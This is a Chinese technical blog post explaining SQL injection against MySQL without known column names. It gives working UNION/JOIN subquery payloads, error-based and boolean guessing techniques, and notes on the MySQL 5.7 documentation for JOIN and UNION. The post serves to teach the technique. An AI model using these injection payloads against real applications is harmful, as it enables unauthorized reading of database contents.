本文要点

  1. 本文整理出两种场景以及对应的攻击方法,第一种方法依赖于join clause,第二种方法依赖于union clause。
  2. 参考相关博文并简要介绍所使用的无列名注入攻击方法。
  3. 本文对SQL官方文档(5.7版本)阅读,对union clause, join clause 的性质进行解读。

一种基于join的无列名注入的场景与方法

select Host,User,Select_priv from user where User="root"

在上述场景中用户可以控制的输入是字符串"root",假设的攻击场景中我们可以突破双引号闭合并进行任意sql注入。但是我们无法获取到表的列名信息,只知道我们想要攻击的表的名字为"test"。(已经有好几篇文章交代了如何在information_schema被ban的情况下查询表名的方法)

  1. 使用order by 猜解查询语句的查询的字段数
  2. 构造下述查询语句,通过修改其中的“1”部分为"1,2,3,...,n",猜解"test"的列数。当列数猜解正确时,便成功提取了test表中的信息。
select Host,User,Select_priv from user where User="root" and 0=1 union select * from (select 1 as a) as a join test as b limit 1;

思路即通过使用join clause,我们可以将目标表“变形”为拥有任意列数(限制是大于等于目标表列数)的表,从而能够并入union clause,实现无列名注入攻击。

基于union select的无列名注入(子查询)

上面方法会存在失灵的情况,例如对于下述语句,select只查询了一个字段,而我们的test表总共有两个字段。并且我们同样不知道test的列名。而join方法显然不能使union select左右两侧查询的列数相等。

select Host from user where User="root"

直觉告诉如果对于test表的查询结果表的列进行重命名,就能提取我们想要的列的信息,通过学习参考资料,发现union select可以达成这一点:

我们需要通过修改其中的“1,2”部分为"1,2,3,...,n",猜解"test"的列数,另外请注意反引号的使用。

select Host from user where User="root" and 0=1 union select * from  (select `2` from (select 1,2 union select * from test) as b) as c limit 1 offset 1;

这种方法要好于第一种方法,因为select `2`部分可以修改为任意想要的列的组合,以配合查询语句回显所需要的信息。

参考与简述

无列名注入 配合 union select

也被称之为基于“子查询”的无列名注入方法,这种方法在多篇博文中被提及,与本文中的第二种方法相似。

参考博文1

该博文中提到了一种基于join、using关键字和报错注入的列名爆破方法;

select * from ( select * from test as a join  test as b ) as c;
#利用join clause返回表的列名的性质,配合外面的Select语句触发重名列错误select * from ( select * from test as a join  test as b using (id) ) as c;
#利用using的性质合并第一个重名列,目的是使用报错注入爆出第二个重名列#但这么做不行。
select * from ( select * from test as a join  test as b on (a.id=b.id) ) as c

提到了一种通过构造表达式将问题转换为布尔注入的方法,如下所示:

# 首先,猜测Test表的字段数# 构造一个选取对应字段数的select语句,使用类似布尔注入的方法猜解每个字段的值
# 例如在这条语句中你必须先爆破出第一个字段存储的值flagid,才能继续猜解第二个字段存储的值'flag{test}'
select ( (select 'fl','xxxx')>(select 'flagid','flag{test}' ) )

基础资料:关于join和union select的介绍

Join

Sql文档

1. 除了在Select语句中使用外,Join子句同样可在DELETE、UPDATE语句中使用。

MySQL supports the following JOIN syntax for the table_references part of SELECT statements and multiple-table DELETE and UPDATE statements.

2. 在table_references中,Join子句语法与以下成分有关:table_factor(表,子查询),search_condition(与on联用),join_column_list(与using联用)以及各种类型的Join(Inner, cross, left, right join)

3.

In MySQL, JOIN, CROSS JOIN, and INNER JOIN are syntactic equivalents;

文档中还提到了Join,Cross JOIN,INNER JOIN在Standard Sql中的差异,在本文中不做进一步讨论。

If there is no matching row for the right table in the ON or USING part in a LEFT JOIN, a row with all columns set to NULL is used for the right table;

上述内容是关于Left Join的效果介绍。

RIGHT JOIN works analogously to LEFT JOIN. To keep code portable across databases, it is recommended that you use LEFT JOIN instead of RIGHT JOIN.

在部分数据库系统中未有囊括Right Join功能。因此Right Join可用于sql版本检测。

4.

INNER JOIN and , (comma) are semantically equivalent in the absence of a join condition: both produce a Cartesian product between the specified tables (that is, each and every row in the first table is joined to each and every row in the second table).

也就是说,查询“select * from A,B ”会对A表和B表做一个笛卡尔积作为输出结果。

5.

USING(join_column_list) clause names a list of columns that must exist in both tables. If tables a and b both contain columns c1, c2, and c3, the following join compares corresponding columns from the two tables:

a LEFT JOIN b USING (c1, c2, c3)

A USING clause can be rewritten as an ON clause that compares corresponding columns. However, although USING and ON are similar, they are not quite the same.
With respect to determining which columns to display:

select * from test as a join test as b on a.id=b.id and a.score=b.score;
# 查询结果总共包含4列,id score id score
select * from test as a join test as b using(id,score);
# 查询结果总共包含2列, id score

因此,尽管Using 和 On都能够用来定义表中数据的联结条件,但是它们在输出结果的形式上存在区别。

从原理上来讲,这是因为“using clause” 使用了函数COALESCE,该函数用途有待进一步挖掘。

Union

参考资料:

文档

Union Clause的语法结构:

SELECT ...
UNION [ALL | DISTINCT] SELECT ...
[UNION [ALL | DISTINCT] SELECT ...]

1.联合查询所生成表的列名由第一个select所产生表的列名决定(基于这一事实才有了基于union 的无列名sql注入);union select 将多个查询子表汇总时,会出现列类型不一致的情况,此时Mysql会自动进行类型调整。

The column names for a UNION result set are taken from the column names of the first SELECT statement; The data types of corresponding SELECT columns do not match, the types and lengths of the columns in the UNION result take into account the values retrieved by all the SELECT statements.

2. Distinct / All ; 
Distinct关键字可以用来筛除union结果中完全一致的行(如果不填选关键字,则默认使用Distinct)

一个现象是一旦使用Distinct关键字,则必定会创建临时表,而all则不会。使用Explain语句可以证实这一现象的存在:

desc test;
#Id int(11) NO  PRI     auto_increment
#score  int(10) YES         desc test_multi_index;
#a  int(11) YES MUL
#b  int(11) YES
#c  int(11) YES
#d  int(11) YES         explain select id from test  union all select a from test_multi_index;
#1  PRIMARY test        index       PRIMARY 4       2   100.00  Using index
#2  UNION   test_multi_index        index       index_abc   15      1155    100.00  Using indexexplain select id from test  union distinct select a from test_multi_index;
#1  PRIMARY test        index       PRIMARY 4       2   100.00  Using index
#2  UNION   test_multi_index        index       index_abc   15      1155    100.00  Using index
#   UNION RESULT    <union1,2>        ALL                         Using temporary
# 问题:是不是无论采取何种措施, Union distinct 必定需要创建临时表?

3. Limit order by;

To apply an ORDER BY or LIMIT clause to an individual SELECT, parenthesize the SELECT and place the clause inside the parentheses.

Use of ORDER BY for individual SELECT statements implies nothing about the order in which the rows appear in the final result because UNION by default produces an unordered set of rows.

Therefore, ORDER BY in this context typically is used in conjunction with LIMIT, to determine the subset of the selected rows to retrieve for the SELECT, even though it does not necessarily affect the order of those rows in the final UNION result.

对individual SELECT使用order by不一定会影响union clause最终生成表的排序结果。但其可以用来指定individual select将选取哪些行参与union select。

文档中强调Union指令生成的是"unordered set of rows", 个人认为Union指令返回的行顺序,简单地沿用了各个individual select子查询中的行顺序,而individual select间的前后关系则根据语句中的位置而定。

对于 union distinct select 而言,在插入每行数据前,会检查其是否在已在临时表中出现,从explain的结果来看,这里的操作是“ALL”类型,因此效率不怎么好。

因此,Mysql在处理union clause时,如果individual select中包含order by 却没有limit ,那么order by会被“忽略”,具体例子如下所示:

(select * from (select score from test where id<=3 order by score)a) union all (select * from (select score from test where id >=4 order by score)b);# 实际的查询结果
4
6
2
55
66
59# test 表中的数据(id,score)
1   4
2   6
3   2
4   55
5   66
6   59

想对union clause返回的结果表进行排序操作的话,可以使用如下办法:

To use an ORDER BY or LIMIT clause to sort or limit the entire UNION result, parenthesize the individual SELECT statements and place the ORDER BY or LIMIT after the last one.

4. Union select 和 Group by + 聚类函数 不能一起使用。但是,在没有union select的情况下,聚类函数能在order by clause中使用吗?至少在两种情况下,报错信息是不同的。

UNION queries with an aggregate function in an ORDER BY clause are rejected with an ER_AGGREGATE_ORDER_FOR_UNION error.

SQL无列名注入方法总结(基于union, join)相关推荐

  1. SQL注入绕过之过滤了‘as‘与无列名注入

    0x00 当过滤了as时: 也就代表database()无法使用,无法查询数据库信息 换思路获取库名,利用报错: -1' || (select*from aa)#          -1'or(sel ...

  2. Bypass information_schema与无列名注入

    文章目录 Bypass information_schema 前言 前置任务 MySQL5.7的新特性 sys.schema_auto_increment_columns schema_table_s ...

  3. 最最基本的SQL手动url注入方法

    sql注入,说白了本质就是一个应用sql语句构造程序的一个过程,通过在web中输入代码使后台认为其是数据便注入源码之中,从而达到某些意想不到的结果 手工查找注入点:     1. 1    #正常访问 ...

  4. SQL注入进阶练习(一)一些进阶的注入方法

    SQL注入进阶练习 1. 二次注入 1.1 概念 1.2 sqllabs less-24 1.2.1 利用示例 1.2.2 原理剖析 1.3 网鼎杯2018 二次注入 1.3.1 环境搭建 1.3.2 ...

  5. SQL注入简介和注入方法教学

    文章目录 SQL注入原理 SQL注入危害 SQL注入判断 SQL注入的分类 按参数类型分类 按数据库返回结果分类 按注入点位置分类 按参数类型分类 数字型 字符型 搜索型 按数据库返回结果分类 回显注 ...

  6. 原理+实战掌握SQL注入方法

    本文首发于先知社区 原理+实战掌握SQL注入方法 前言: SQL注入是web安全中最常见的攻击方式,SQL注入有很多方法,但如果只知道payload,不知道原理,感觉也很难掌握,这次就总结一下我所遇到 ...

  7. sql 整改措施 注入_防止SQL注入的五种方法

    一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...

  8. Java 防SQL注入方法

    在前面的博客中,我们详细介绍了: sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决 ...

  9. sql注入***的各种注入方法

    ASP编程门槛很低,新手很容易上路.在一段不长的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到.那么新手与老手就没区别了吗?这里面区别可就大了,只不过外行 ...

最新文章

  1. 机器学习中的DCGAN-Tensorflow:用于更稳定的训练
  2. 提高语音识别成功率的解决方案思路一
  3. PHP程序员如何突破成长瓶颈(转)
  4. Rabbit寻宝记(1)
  5. TCP和UDP的聊天
  6. [算法模版]Link-Cut-Tree
  7. java将数组中的数据修改,深度集成!
  8. cpu 指定cpu执行 java_java程序可以实现在指定CPU上运行吗?
  9. qml c++函数 slot_浅析Qt(C++),QML与HTML之间的交互
  10. echart同一个dom下多次动态渲染值,防止值、事件重复互相影响
  11. iOS底层探索之多线程(十一)—GCD源码分析(调度组)
  12. c#代码片段新建(sinppet)
  13. @PropertySource注解获取配置文件值
  14. URL长地址转短地址原理
  15. jira 工作日志导出 工具
  16. 高德Location
  17. MPC5607B串口接收中断程序
  18. Autojs 微信添加好友脚本
  19. 微信小程序中苹果iOS手机显示时间格式NaN不正确的问题
  20. table的样式设置

热门文章

  1. React教程(由浅到深)
  2. 区块链共识机制技术二——POS(权益证明)共识机制
  3. 六石编程学:抄代码是个技术活,大多数人不传抄
  4. 1/20 武功秘籍~!
  5. 算24游戏c语言程序报告,c程序课程设计报告(24点游戏).doc
  6. 利用Python爬取散文网的文章实例
  7. 电子商务mysql设计_设计电子商务数据库 – MySQL
  8. 移动互联广告传媒介绍
  9. 【Spring事务】事务和事务传播机制
  10. 【Python基础知识-pycharm版】控制语句_棋盘_同心圆